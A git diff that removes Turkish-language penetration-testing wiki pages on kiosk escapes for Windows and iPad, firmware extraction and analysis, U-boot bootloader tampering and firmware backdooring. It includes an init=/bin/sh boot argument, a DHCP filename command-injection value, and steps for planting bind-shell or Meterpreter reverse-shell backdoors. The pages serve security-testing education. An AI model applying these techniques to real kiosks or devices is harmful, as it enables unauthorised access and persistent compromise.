%TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | -| %HOMEDRIVE% | %HOMESHARE | |


| - -## Kısayollar - -- Yapışkan Tuşlar – SHIFT tuşuna 5 kez basın -- Fare Tuşları – SHIFT+ALT+NUMLOCK -- Yüksek Kontrast – SHIFT+ALT+PRINTSCN -- Anahtarları Değiştir – NUMLOCK tuşuna 5 saniye basılı tutun -- Filtre Tuşları – sağ SHIFT tuşuna 12 saniye basılı tutun -- WINDOWS+F1 – Windows Arama -- WINDOWS+D – Masaüstünü Göster -- WINDOWS+E – Windows Gezgini'ni Başlat -- WINDOWS+R – Çalıştır -- WINDOWS+U – Erişim Kolaylığı Merkezi -- WINDOWS+F – Ara -- SHIFT+F10 – Bağlam Menüsü -- CTRL+SHIFT+ESC – Görev Yöneticisi -- CTRL+ALT+DEL – Daha yeni Windows sürümlerinde açılış ekranı -- F1 – Yardım F3 – Ara -- F6 – Adres Çubuğu -- F11 – Internet Explorer'da tam ekranı aç/kapat -- CTRL+H – Internet Explorer Geçmişi -- CTRL+T – Internet Explorer – Yeni Sekme -- CTRL+N – Internet Explorer – Yeni Sayfa -- CTRL+O – Dosya Aç -- CTRL+S – Kaydet CTRL+N – Yeni RDP / Citrix - -## Kaydırmalar - -- Sol taraftan sağa kaydırarak tüm açık Windows'ları görün, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin; -- Sağ taraftan sola kaydırarak Eylem Merkezi'ni açın, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin; -- Tam ekran modunda açılmış bir uygulama için başlık çubuğunu görünür hale getirmek üzere üst kenardan kaydırın; -- Tam ekran uygulamasında görev çubuğunu göstermek için alttan yukarı kaydırın. - -## Internet Explorer Hileleri - -### 'Resim Araç Çubuğu' - -Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezginde açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekmektedir. - -### Shell Protokolü - -Bir Gezgini görünümü elde etmek için bu URL'leri yazın: - -- `shell:Administrative Tools` -- `shell:DocumentsLibrary` -- `shell:Libraries` -- `shell:UserProfiles` -- `shell:Personal` -- `shell:SearchHomeFolder` -- `shell:NetworkPlacesFolder` -- `shell:SendTo` -- `shell:UserProfiles` -- `shell:Common Administrative Tools` -- `shell:MyComputerFolder` -- `shell:InternetFolder` -- `Shell:Profile` -- `Shell:ProgramFiles` -- `Shell:System` -- `Shell:ControlPanelFolder` -- `Shell:Windows` -- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Denetim Masası -- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Bilgisayarım -- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Bağlantılarım -- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer - -## Dosya Uzantılarını Göster - -Daha fazla bilgi için bu sayfayı kontrol edin: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) - -# Tarayıcı hileleri - -Yedek iKat sürümleri: - -[http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ - -JavaScript kullanarak ortak bir diyalog oluşturun ve dosya gezgini erişin: `document.write('')` -Kaynak: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 - -# iPad - -## Hareketler ve düğmeler - -- Dört (veya beş) parmakla yukarı kaydırın / Ana ekran düğmesine çift tıklayın: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için - -- Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/son uygulamaya geçmek için - -- Beş parmakla ekranı sıkıştırın / Ana ekran düğmesine dokunun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydırın: Ana ekrana erişmek için - -- Ekranın altından 1-2 inç kadar yavaşça bir parmakla kaydırın: Dock görünecektir - -- Ekranın üst kısmından 1 parmakla aşağı kaydırın: Bildirimlerinizi görüntülemek için - -- Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırın: iPad Pro'nun kontrol merkezini görmek için - -- Ekranın sol tarafından 1-2 inç kadar bir parmakla kaydırın: Bugün görünümünü görmek için - -- Ekranın ortasından sağa veya sola hızlıca 1 parmakla kaydırın: Bir sonraki/son uygulamaya geçmek için - -- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine basılı tutun + **güç kapalı** kaydırıcısını tamamen sağa kaydırın: Kapatmak için - -- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine birkaç saniye basın: Zorla kapatmak için - -- **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana ekran düğmesine hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız zorla kapatma işlemi gerçekleşir. - -## Kısayollar - -Bir iPad klavyesine veya bir USB klavye adaptörüne sahip olmalısınız. Uygulamadan kaçmaya yardımcı olabilecek yalnızca kısayollar burada gösterilecektir. - -| Tuş | Adı | -| --- | ------------ | -| ⌘ | Komut | -| ⌥ | Seçenek (Alt) | -| ⇧ | Shift | -| ↩ | Geri | -| ⇥ | Sekme | -| ^ | Kontrol | -| ← | Sol Ok | -| → | Sağ Ok | -| ↑ | Yukarı Ok | -| ↓ | Aşağı Ok | - -### Sistem kısayolları - -Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayarları içindir. - -| Kısayol | Eylem | -| -------- | ------------------------------------------------------------------------------ | -| F1 | Ekranı Kısma | -| F2 | Ekranı Parlaklaştırma | -| F7 | Bir şarkıyı geri alma | -| F8 | Oynat/durdur | -| F9 | Şarkıyı atlama | -| F10 | Ses kapatma | -| F11 | Ses seviyesini azaltma | -| F12 | Ses seviyesini artırma | -| ⌘ Boşluk | Mevcut dillerin listesini görüntüle; birini seçmek için boşluk tuşuna tekrar basın. | - -### iPad navigasyonu - -| Kısayol | Eylem | -| -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Ana ekrana git | -| ⌘⇧H (Komut-Shift-H) | Ana ekrana git | -| ⌘ (Boşluk) | Spotlight'ı aç | -| ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele | -| ⌘\~ | Son uygulamaya git | -| ⌘⇧3 (Komut-Shift-3) | Ekran görüntüsü (sol altta kaydetmek veya üzerinde işlem yapmak için) | -| ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç | -| ⌘'yi basılı tutun | Uygulama için mevcut kısayolların listesini görüntüle | -| ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar | -| ^⌥H (Kontrol-Seçenek-H) | Ana ekran düğmesi | -| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster | -| ^⌥I (Kontrol-Seçenek-i) | Öğe seçici | -| Escape | Geri düğmesi | -| → (Sağ ok) | Sonraki öğe | -| ← (Sol ok) | Önceki öğe | -| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokunun | -| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | -| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | -| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | -| ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat | -| ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç | -| ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön | -| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin | - -### Safari kısayolları - -| Kısayol | Eylem | -| ----------------------- | ------------------------------------------------ | -| ⌘L (Komut-L) | Konum Aç | -| ⌘T | Yeni bir sekme aç | -| ⌘W | Mevcut sekmeyi kapat | -| ⌘R | Mevcut sekmeyi yenile | -| ⌘. | Mevcut sekmenin yüklenmesini durdur | -| ^⇥ | Sonraki sekmeye geç | -| ^⇧⇥ (Kontrol-Shift-Sekme) | Önceki sekmeye geç | -| ⌘L | Metin girişi/URL alanını seçip düzenlemek için | -| ⌘⇧T (Komut-Shift-T) | En son kapatılan sekmeyi aç (birkaç kez kullanılabilir) | -| ⌘\[ | Tarayıcı geçmişinizde bir sayfaya geri dön | -| ⌘] | Tarayıcı geçmişinizde bir sayfaya ileri git | -| ⌘⇧R | Okuyucu Modunu etkinleştir | - -### Mail kısayolları - -| Kısayol | Eylem | -| -------------------------- | ---------------------------- | -| ⌘L | Konum Aç | -| ⌘T | Yeni bir sekme aç | -| ⌘W | Mevcut sekmeyi kapat | -| ⌘R | Mevcut sekmeyi yenile | -| ⌘. | Mevcut sekmenin yüklenmesini durdur | -| ⌘⌥F (Komut-Seçenek/Alt-F) | Posta kutunuzda arama yap | - -# Referanslar - -- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) -- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) -- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) -- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md deleted file mode 100644 index 2a4baf935..000000000 --- a/src/physical-attacks/firmware-analysis/README.md +++ /dev/null @@ -1,240 +0,0 @@ -# Firmware Analizi - -{{#include ../../banners/hacktricks-training.md}} - -## **Giriş** - -Firmware, cihazların doğru bir şekilde çalışmasını sağlayan ve donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasında iletişimi yönetip kolaylaştıran temel yazılımdır. Kalıcı bellekte depolanır, böylece cihaz açıldığında kritik talimatlara erişebilir ve işletim sisteminin başlatılmasını sağlar. Firmware'i incelemek ve potansiyel olarak değiştirmek, güvenlik açıklarını belirlemede kritik bir adımdır. - -## **Bilgi Toplama** - -**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamanın kritik bir başlangıç adımıdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir: - -- Çalıştığı CPU mimarisi ve işletim sistemi -- Bootloader ayrıntıları -- Donanım düzeni ve veri sayfaları -- Kod tabanı metrikleri ve kaynak konumları -- Harici kütüphaneler ve lisans türleri -- Güncelleme geçmişleri ve düzenleyici sertifikalar -- Mimari ve akış diyagramları -- Güvenlik değerlendirmeleri ve belirlenen güvenlik açıkları - -Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir; ayrıca mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmle’nin LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar. - -## **Firmware Edinme** - -Firmware edinmek, her biri kendi karmaşıklık seviyesine sahip çeşitli yollarla gerçekleştirilebilir: - -- **Doğrudan** kaynaktan (geliştiriciler, üreticiler) -- Verilen talimatlardan **oluşturarak** -- Resmi destek sitelerinden **indirerek** -- Barındırılan firmware dosyalarını bulmak için **Google dork** sorguları kullanarak -- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla **bulut depolama** alanlarına doğrudan erişerek -- Adam ortada teknikleriyle **güncellemeleri** yakalayarak -- **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkararak** -- Cihaz iletişimi içinde güncelleme taleplerini **dinleyerek** -- **Sabit kodlu güncelleme uç noktalarını** tanımlayıp kullanarak -- Bootloader veya ağdan **dump** alarak -- Tüm bunlar başarısız olursa, uygun donanım araçları kullanarak depolama çipini **çıkartıp okuyarak** - -## Firmware'i Analiz Etme - -Artık **firmware'e sahip olduğunuzda**, ona nasıl yaklaşacağınızı bilmek için bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar: -```bash -file -strings -n8 -strings -tx #print offsets in hex -hexdump -C -n 512 > hexdump.out -hexdump -C | head # might find signatures in header -fdisk -lu #lists a drives partition and filesystems if multiple -``` -Eğer bu araçlarla pek bir şey bulamazsanız, görüntünün **entropisini** `binwalk -E ` ile kontrol edin, düşük entropi varsa, muhtemelen şifrelenmemiştir. Yüksek entropi varsa, muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır). - -Ayrıca, bu araçları **firmware içinde gömülü dosyaları çıkarmak için** kullanabilirsiniz: - -{{#ref}} -../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -Veya dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz. - -### Dosya Sistemini Alma - -Önceki yorumlanan araçlarla `binwalk -ev ` kullanarak **dosya sistemini çıkarmış olmalısınız**.\ -Binwalk genellikle **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. - -#### Manuel Dosya Sistemi Çıkartma - -Bazen, binwalk **dosya sisteminin sihirli baytını imzalarında bulamayabilir**. Bu durumlarda, binwalk kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini** ikili dosyadan çıkarın ve **aşağıdaki adımları kullanarak** dosya sistemini türüne göre **manuel olarak çıkarın**. -``` -$ binwalk DIR850L_REVB.bin - -DECIMAL HEXADECIMAL DESCRIPTION ------------------------------------------------------------------------------ --- - -0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1"""" -10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes -1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes -1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 -``` -Aşağıdaki **dd komutunu** çalıştırarak Squashfs dosya sistemini kesin. -``` -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs - -8257536+0 records in - -8257536+0 records out - -8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s -``` -Alternatif olarak, aşağıdaki komut da çalıştırılabilir. - -`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` - -- squashfs (yukarıdaki örnekte kullanılan) - -`$ unsquashfs dir.squashfs` - -Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır. - -- CPIO arşiv dosyaları - -`$ cpio -ivd --no-absolute-filenames -F ` - -- jffs2 dosya sistemleri için - -`$ jefferson rootfsfile.jffs2` - -- NAND flash ile ubifs dosya sistemleri için - -`$ ubireader_extract_images -u UBI -s ` - -`$ ubidump.py ` - -## Firmware Analizi - -Firmware elde edildikten sonra, yapısını ve potansiyel zayıflıklarını anlamak için parçalanması önemlidir. Bu süreç, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir. - -### İlk Analiz Araçları - -İlk inceleme için bir dizi komut sağlanmıştır ( `` olarak adlandırılan ikili dosya için). Bu komutlar dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ile dosya sistemi ayrıntılarını anlamaya yardımcı olur: -```bash -file -strings -n8 -strings -tx #prints offsets in hexadecimal -hexdump -C -n 512 > hexdump.out -hexdump -C | head #useful for finding signatures in the header -fdisk -lu #lists partitions and filesystems, if there are multiple -``` -Görüntünün şifreleme durumunu değerlendirmek için **entropy** `binwalk -E ` ile kontrol edilir. Düşük entropy, şifreleme eksikliğini gösterirken, yüksek entropy olası şifreleme veya sıkıştırmayı belirtir. - -**Gömülü dosyaları** çıkarmak için **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir. - -### Dosya Sistemini Çıkarma - -`binwalk -ev ` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarma gereklidir. Bu, dosya sisteminin ofsetini bulmak için `binwalk` kullanmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu içermektedir: -```bash -$ binwalk DIR850L_REVB.bin - -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs -``` -Sonrasında, dosya sistemi türüne bağlı olarak (örneğin, squashfs, cpio, jffs2, ubifs), içerikleri manuel olarak çıkarmak için farklı komutlar kullanılır. - -### Dosya Sistemi Analizi - -Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları arayışına başlanır. Güvensiz ağ daemon'larına, hardcoded kimlik bilgilerine, API uç noktalarına, güncelleme sunucusu işlevlerine, derlenmemiş koda, başlangıç betiklerine ve çevrimdışı analiz için derlenmiş ikililere dikkat edilir. - -**Ana konumlar** ve **incelemesi gereken öğeler** şunlardır: - -- **etc/shadow** ve **etc/passwd** kullanıcı kimlik bilgileri için -- **etc/ssl** içindeki SSL sertifikaları ve anahtarları -- Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları -- Daha fazla analiz için gömülü ikililer -- Yaygın IoT cihazı web sunucuları ve ikilileri - -Dosya sistemi içindeki hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan birkaç araç vardır: - -- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) ve [**Firmwalker**](https://github.com/craigz28/firmwalker) hassas bilgi arayışı için -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kapsamlı firmware analizi için -- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) ve [**EMBA**](https://github.com/e-m-b-a/emba) statik ve dinamik analiz için - -### Derlenmiş İkililer Üzerinde Güvenlik Kontrolleri - -Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikililer güvenlik açıkları açısından incelenmelidir. Unix ikilileri için **checksec.sh** ve Windows ikilileri için **PESecurity** gibi araçlar, istismar edilebilecek korumasız ikilileri tanımlamaya yardımcı olur. - -## Dinamik Analiz için Firmware Taklit Etme - -Firmware taklit etme süreci, bir cihazın çalışmasını veya bireysel bir programı **dinamik analiz** etmeyi sağlar. Bu yaklaşım, donanım veya mimari bağımlılıkları ile zorluklarla karşılaşabilir, ancak kök dosya sistemini veya belirli ikilileri, Raspberry Pi gibi eşleşen mimari ve endianlıkta bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir. - -### Bireysel İkilileri Taklit Etme - -Tek programları incelemek için, programın endianlığını ve CPU mimarisini belirlemek kritik öneme sahiptir. - -#### MIPS Mimarisi ile Örnek - -MIPS mimarisi ikilisini taklit etmek için şu komut kullanılabilir: -```bash -file ./squashfs-root/bin/busybox -``` -Gerekli emülasyon araçlarını kurmak için: -```bash -sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils -``` -MIPS (big-endian) için `qemu-mips` kullanılırken, little-endian ikili dosyalar için `qemu-mipsel` tercih edilir. - -#### ARM Mimari Emülasyonu - -ARM ikili dosyaları için süreç benzerdir, emülasyon için `qemu-arm` emülatörü kullanılır. - -### Tam Sistem Emülasyonu - -[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) ve diğerleri gibi araçlar, tam firmware emülasyonunu kolaylaştırarak süreci otomatikleştirir ve dinamik analize yardımcı olur. - -## Pratikte Dinamik Analiz - -Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullanılır. OS ve dosya sistemine shell erişimini sürdürmek önemlidir. Emülasyon, donanım etkileşimlerini mükemmel bir şekilde taklit etmeyebilir, bu nedenle ara sıra emülasyonun yeniden başlatılması gerekebilir. Analiz, dosya sistemini yeniden gözden geçirmeli, açığa çıkan web sayfalarını ve ağ hizmetlerini istismar etmeli ve önyükleyici zafiyetlerini keşfetmelidir. Firmware bütünlüğü testleri, potansiyel arka kapı zafiyetlerini belirlemek için kritik öneme sahiptir. - -## Çalışma Zamanı Analiz Teknikleri - -Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları ayarlanır ve fuzzing gibi tekniklerle zafiyetler belirlenir. - -## İkili İstismar ve Kanıt Konsepti - -Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimarinin derin bir anlayışını ve daha düşük seviyeli dillerde programlama bilgisi gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak mevcut olduğunda, Return Oriented Programming (ROP) gibi teknikler gerekli olabilir. - -## Firmware Analizi için Hazırlanmış İşletim Sistemleri - -[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla donatılmış firmware güvenlik testleri için önceden yapılandırılmış ortamlar sağlar. - -## Firmware Analizi için Hazırlanmış OS'ler - -- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Internet of Things (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testleri yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sunarak size çok zaman kazandırır. -- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Gömülü güvenlik testleri için firmware güvenlik test araçları ile önceden yüklenmiş Ubuntu 18.04 tabanlı bir işletim sistemi. - -## Pratik Yapmak için Zayıf Firmware - -Firmware'deki zafiyetleri keşfetmek için pratik yapmak amacıyla aşağıdaki zayıf firmware projelerini başlangıç noktası olarak kullanın. - -- OWASP IoTGoat -- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) -- The Damn Vulnerable Router Firmware Project -- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) -- Damn Vulnerable ARM Router (DVAR) -- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) -- ARM-X -- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) -- Azeria Labs VM 2.0 -- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) -- Damn Vulnerable IoT Device (DVID) -- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) - -## Referanslar - -- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) -- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) - -## Eğitim ve Sertifika - -- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md deleted file mode 100644 index 47b71da85..000000000 --- a/src/physical-attacks/firmware-analysis/bootloader-testing.md +++ /dev/null @@ -1,52 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Aşağıdaki adımlar, U-boot gibi cihaz başlangıç yapılandırmalarını ve bootloader'ları değiştirmek için önerilmektedir: - -1. **Bootloader'ın Yorumlayıcı Shell'ine Erişim**: - -- Başlangıç sırasında, bootloader'ın yorumlayıcı shell'ine erişmek için "0", boşluk veya diğer tanımlanmış "sihirli kodlar" tuşlayın. - -2. **Boot Argümanlarını Değiştirin**: - -- Bir shell komutunun yürütülmesine izin vermek için boot argümanlarına '`init=/bin/sh`' eklemek için aşağıdaki komutları çalıştırın: -%%% -#printenv -#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh -#saveenv -#boot -%%% - -3. **TFTP Sunucusu Kurun**: - -- Yerel bir ağ üzerinden görüntüleri yüklemek için bir TFTP sunucusu yapılandırın: -%%% -#setenv ipaddr 192.168.2.2 #cihazın yerel IP'si -#setenv serverip 192.168.2.1 #TFTP sunucu IP'si -#saveenv -#reset -#ping 192.168.2.1 #ağ erişimini kontrol et -#tftp ${loadaddr} uImage-3.6.35 #loadaddr, dosyanın yükleneceği adresi ve TFTP sunucusundaki görüntü dosyasının adını alır -%%% - -4. **`ubootwrite.py` Kullanımı**: - -- Root erişimi kazanmak için U-boot görüntüsünü yazmak ve değiştirilmiş bir firmware yüklemek için `ubootwrite.py` kullanın. - -5. **Debug Özelliklerini Kontrol Edin**: - -- Ayrıntılı günlükleme, rastgele çekirdek yükleme veya güvenilmeyen kaynaklardan başlatma gibi debug özelliklerinin etkin olup olmadığını doğrulayın. - -6. **Dikkatli Donanım Müdahalesi**: - -- Cihazın başlatma sırası sırasında bir pini toprağa bağlarken ve SPI veya NAND flash yongaları ile etkileşimde bulunurken dikkatli olun, özellikle çekirdek açılmadan önce. Pinleri kısaltmadan önce NAND flash yongasının veri sayfasını kontrol edin. - -7. **Sahte DHCP Sunucusu Yapılandırın**: -- PXE başlatma sırasında bir cihazın alması için kötü niyetli parametrelerle sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutları ile değiştirerek cihaz başlangıç prosedürleri için giriş doğrulamasını test edin. - -**Not**: Cihaz pinleri ile fiziksel etkileşim içeren adımlar (\* yıldız ile işaretlenmiş) cihazın zarar görmesini önlemek için son derece dikkatli bir şekilde yaklaşılmalıdır. - -## Referanslar - -- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/firmware-integrity.md b/src/physical-attacks/firmware-analysis/firmware-integrity.md deleted file mode 100644 index b51a1c779..000000000 --- a/src/physical-attacks/firmware-analysis/firmware-integrity.md +++ /dev/null @@ -1,35 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -## Firmware Bütünlüğü - -**Özel firmware ve/veya derlenmiş ikili dosyalar, bütünlük veya imza doğrulama hatalarını istismar etmek için yüklenebilir.** Arka kapı bind shell derlemesi için aşağıdaki adımlar izlenebilir: - -1. Firmware, firmware-mod-kit (FMK) kullanılarak çıkarılabilir. -2. Hedef firmware mimarisi ve endianlık belirlenmelidir. -3. Ortam için Buildroot veya diğer uygun yöntemler kullanılarak bir çapraz derleyici oluşturulabilir. -4. Arka kapı, çapraz derleyici kullanılarak oluşturulabilir. -5. Arka kapı, çıkarılan firmware'in /usr/bin dizinine kopyalanabilir. -6. Uygun QEMU ikili dosyası, çıkarılan firmware rootfs'ye kopyalanabilir. -7. Arka kapı, chroot ve QEMU kullanılarak taklit edilebilir. -8. Arka kapıya netcat aracılığıyla erişilebilir. -9. QEMU ikili dosyası, çıkarılan firmware rootfs'den kaldırılmalıdır. -10. Değiştirilen firmware, FMK kullanılarak yeniden paketlenebilir. -11. Arka kapılı firmware, firmware analysis toolkit (FAT) ile taklit edilerek ve hedef arka kapı IP'sine ve portuna netcat kullanarak bağlanarak test edilebilir. - -Eğer dinamik analiz, önyükleyici manipülasyonu veya donanım güvenlik testi yoluyla bir root shell elde edilmişse, implantlar veya ters shell gibi önceden derlenmiş kötü niyetli ikili dosyalar çalıştırılabilir. Metasploit çerçevesi ve 'msfvenom' gibi otomatik yük/implant araçları aşağıdaki adımlar kullanılarak yararlanılabilir: - -1. Hedef firmware mimarisi ve endianlık belirlenmelidir. -2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'sini, dinleme port numarasını, dosya türünü, mimariyi, platformu ve çıktı dosyasını belirtmek için kullanılabilir. -3. Yük, ele geçirilmiş cihaza aktarılmalı ve yürütme izinlerinin olduğu doğrulanmalıdır. -4. Metasploit, msfconsole başlatarak ve ayarları yükle göre yapılandırarak gelen istekleri işlemek için hazırlanabilir. -5. Meterpreter ters shell, ele geçirilmiş cihazda çalıştırılabilir. -6. Meterpreter oturumları açıldıkça izlenebilir. -7. Post-exploitation faaliyetleri gerçekleştirilebilir. - -Mümkünse, başlangıç betiklerinde bulunan zafiyetler, yeniden başlatmalar arasında bir cihaza kalıcı erişim sağlamak için istismar edilebilir. Bu zafiyetler, başlangıç betikleri güvenilmeyen montajlı konumlarda bulunan koda atıfta bulunduğunda, [sembolik bağlantı](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) yaptığında veya bağımlı olduğunda ortaya çıkar; bu konumlar, kök dosya sistemleri dışında veri depolamak için kullanılan SD kartlar ve flash hacimleri gibi yerlerdir. - -## 